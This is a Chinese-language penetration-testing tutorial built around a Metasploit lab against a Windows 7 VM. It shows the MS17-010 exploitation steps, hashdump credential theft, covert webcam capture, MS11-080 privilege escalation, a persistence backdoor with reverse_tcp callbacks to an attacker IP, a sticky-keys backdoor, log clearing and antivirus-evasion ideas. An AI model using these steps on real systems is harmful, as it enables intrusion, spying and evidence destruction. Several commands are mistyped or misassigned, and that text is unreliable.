目录
一、网络渗透基础
01、渗透测试基础
定义
渗透测试(Penetration Testing),就是一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
简单来说渗透测试是通过各种⼿段对⽬标进⾏⼀次渗透(攻击),通过渗透来测试⽬标的安全防护能⼒和安全防护意识。
分类
• 黑盒测试
采用这种方式时,渗透测试者将从一个远程网络位置来评估目标网络基础设施,并没有任何目标网络内部拓 扑等相关信息
黑盒测试的缺点是测试较为费时和费力,同时需要渗透测试者具备较高的技术能力。
优点在于,这种类型的测试更有利于挖掘出系统潜在的漏洞,以及脆弱环节和薄弱点等。
• 白盒测试
行白盒测试的渗透测试者可以了解到关于目标环境的所有内部和底层信息。这可以让渗透测试人员以最小的代价发现和验证系统中最严重的漏洞。
白盒测试的缺点是无法有效地测试客户组织的应急响应程序,也无法判断出他们的安全防护计划对特定攻击的检测效率。
这种测试的优点是发现和解决安全漏洞所花费的时间 和代价要比黑盒测试少很多。
• 灰盒测试
灰盒测试(Grey-box Testing)是白盒测试和黑盒测试基本类型的组合
合之后的好处就是能够同时发挥这两种渗透测试 方法的优势。
渗透测试-目标分类
1、主机操作系统渗透
对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。
2、数据库系统渗透
对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。
3、应用系统渗透
对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进行渗透测试。
4、网络设备渗透
对各种防火墙、入侵检测系统、网络设备进行渗透测试。
渗透测试过程环节
1. 前期交互阶段(Pre-Engagement Interaction)
2. 情报搜集阶段(Information Gathering)
3. 威胁建模阶段(Threat Modeling)
4. 漏洞分析阶段(Vulnerability Analysis)
5. 渗透攻击阶段(Exploitation)
6. 后渗透攻击阶段(Post Exploitation)(清除痕迹)
7. 报告阶段(Reporting)
02、主机攻防演练
渗透测试神器——Metasploit
概念
Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
Metasploit专业术语
1、Exploit(渗透攻击):渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、WEB应用程序漏洞攻击(例如:SQL注入、XSS等),以及利用配置错误等。
2、Payload(攻击载荷):攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由地选择、传送和植入。
3、ShellCode:ShellCode是渗透攻击时作为攻击载荷运行的一组机器指令。ShellCode通常用汇编语言编写。
4、Module(模块):在Metasploit中一个模块是指Metasploit框架中所使用的一段软件代码组件。
Listener(监听器):监听器是Metasploit中用来等待接入网络连接主机的组件。
主机漏洞利用演示——MS17-010
环境介绍
攻击机:Kali
靶机环境:Win7
工具介绍
Nmap扫描工具
Nmap 全称为 Network Mapper
Nmap是目前最流行的网络扫描工具,不仅能准确探测单台主机的详细情况,而且能高效地对大范围的Ip地址段扫描。
能扫描目标网络上有哪些主机上存活的,哪些服务是开放的,甚至知道网络中使用了何种类型的防火墙设备等。
基本功能:
1. 主机发现(Host Discovery)
2. 端口扫描(Port Scanning)
3. 版本侦测(Version Detection)
4. 操作系统侦测(Operating System Detection)
常用命令:
1、完整的全面扫描
命令为:nmap -T4 -A -v 后加ip地址
-A 选项用于使用进攻性(Aggressive)方式扫描;
-T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现;
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节从而让用户了解当前的描状态。
2、扫描多台主机
命令为:namp ***.***.***.1 ***.***.***.2 ***.***.***.3
3、扫描整个子网
命令为:namp 192.168.199.*
4、较少使用的
namp
-sT:TCP connect扫描
-sS:TCP SYN扫描
-sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
-sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
-sU:探测目标主机开放了哪些UDP端口
-sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
-sV:获取对应端口上更为详细的服务版本信息
-Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
-O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F:快速扫描模式,只扫描在nmap-services中列出的端口
Metasploit
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。
Metasploit的渗透全过程支持
搜索公开渗透代码—>编译—>测试—>修改代码—>实施—>失败—>不断调试直至成功
1. 情报搜集(内建扫描探测与查点辅助模块;插件机制集成调用Nmap、Nessus、OpenVAS等开源扫描工具)
2. 威胁建模(信息汇总至数据库,提供易用的数据库查询命令,帮助对情报进行威胁建模)
3. 漏洞分析(提供大量的协议Fuzz测试器与Web应用漏洞探测模块)
4. 渗透攻击(利用漏洞成功渗透到目标系统或网络)
5. 后渗透攻击(成功渗透攻击并获取目标远程控制程序后,Meterpreter可提供驻内存免杀能力高级后门工具,特权提升、跳板攻击与内网拓展等)
6. 报告生成(渗透结果存入内置数据库,可数据库查询并辅助渗透测试报告的写作)
渗透实战
一、
打开虚拟机——kali和Windows7
二、
查看受害者的机器是否存活,可以配合nmap使用
打开kali命令行,输入nmap 目标ip地址
三、
使用命令msfconsole启用msf
搜索漏洞:使用search msf_010
启用攻击模块:使用use auxiliary/scanner/smb/smb ms17_010
四、
设置攻击者和受害者
受害者:set rhost 目标ip地址
攻击者:set lhost 主机ip地址
查看设置:show options
五、
开始攻击使用run
攻击成功后使用一系列命令进行后渗透攻击......
查看权限:
windows:getuid
linux:whoami
进入shell,直接使用shell命令执行权限提权,通过shell对靶机windows进行控制
在使用hashdump命令获得windows登录用户和密码
此时是乱码可以使用chcp 65001
在网上使用密文翻译直接获取用户名和密码
开启摄像头
webcam_list -->查看摄像头
webcam_snap -->通过摄像头拍照
webcam_stream -->通过摄像头开启视频
03、后渗透利用
提权
概述
提权即提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限
Windows:User》》System
Linux: User》》Root
种类
1、系统漏洞提权 一般是利用系统自身缺陷,用来提升权限。
2、数据库提权 通过执行数据库语句、数据库函数等方式提升服务器用户的权限
3、权限继承类提权 开机启动项提权 Windows开机的时候会有开机启动的程序,启动程序的权限是system,利用这点,将自动化脚本写入启动项,达到提权的目的
实验——Windows系统漏洞提权
内核移除漏洞提权,使用exp提权
使用systeminfo命令查看补丁目录,使用对应exp
可以查看到修补程序栏中出现了三个补丁
获取权限后,通过以下命令
run post/windows/gather/enum_patches
post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁
把刚刚找出的缺失补丁号copy到在线补丁平台(http://bugs.hacking8.com/tiquan/)中查找
通过background命令将当前会话隐藏到后台
使用网站中找到的漏洞编号进行攻击
如: search MS11-080
use exploit/windows/local/ms11_080_afdjoinleaf
set session 1 exploit
通过以上操作,重新获取一个系统权限的会话。
具体提权方法
https://wenku.baidu.com/view/a07e6df1350cba1aa8114431b90d6c85ec3a8862.html
持续控制
概念
权限维持 在完成了提升权限的阶段性工作之后,我们应当建立一种机制,以维持对目标主机的控制权。这样一来,即使我们所利用的漏洞被补丁程序修复,我们还可以继续控制目标系统。后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法
维权程序
1、操作系统后门;
2、隧道工具;
3、Web 后门。
隧道工具
Persistence:一款使用安装自动方式的持久性后门程序,可以利用它创建注册和文件
命令使用:run persistence -S -U -X -i 5 -p 446 -r ip地址
A:自动启动Payload程序
S:系统登录时自动加载
U:用户登录时自动启动
X:开机时自动加载
i:回连的时间间隔
P:监听反向连接端口号
r:目标机器 IP 地址(攻击主机)
1、先通过攻击获取一个meterpreter shell
2、然后执行 run persistence -S -U -X -i 5 -p 446 -r 接收主机ip地址
这样电脑在系统登陆,用户登陆,开机,使用中每个5秒都会回连你的机器
3.然后我们下次在登陆使用下面的漏洞利用模块和攻击载荷
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.193.135
set lport 446
run
操作系统后门
操作系统后门泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户的认证过程。
拓展试验—粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。 在 windows 主机上连续按 5 次 “shift” 键,就可以调出粘滞键。windows 的粘滞键主要是为无法同时按多个按键的用户设计的。例如,在使用组合的键 “ctrl+p“时,用户需要同时按下”ctrl“+”p” 两个键,如果使用粘滞键来・实现组合键”ctrl+p“的功能,用户只需要按一个键。
1、设置管理员所有
首先找到 sethc.exe 文件,然后点击属性,选择所有者,编辑,选择当前所有者为 Administrator。
2、全部勾选
让 Administrator 拥有完全控制权限,这样就可以对它进行改名字,或者删除。建议改名字,做完实验再改回来
3、复制cmd.exe
复制一份 cmd.exe 文件,改名成 sethc.exe,这样就大功告成了。
跨网段攻击
概念
内网渗透通指的是已对目标对外开放的服务(包括但不限于网站、邮件、即使通讯工具等)进行渗透并获取到了其内部网络权限从而对内部网络进行渗透
清除痕迹
清除日志前,目标机器的事件查看器是这样的。(记录了大量的事件)
在meterperter中使用clearev命令清理
免杀
概念
免杀就是反病毒技术,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
杀软常见方式
1、静态查杀(邮件类查杀一般是静态的)-->一般根据特征码识别到-->对文件进行特征匹配的思路
2、云查杀
3、行为查杀(也可以理解为动态查杀)-->对其产生的行为进行检测
免杀的常见方式
1、捆绑-->文件捆绑,自解压捆绑,如exe类型的
2、特征码混淆思路-->即混淆特征码进而绕过免杀
3、白名单-->原理:杀毒软件对自己旗下的软件不检测导致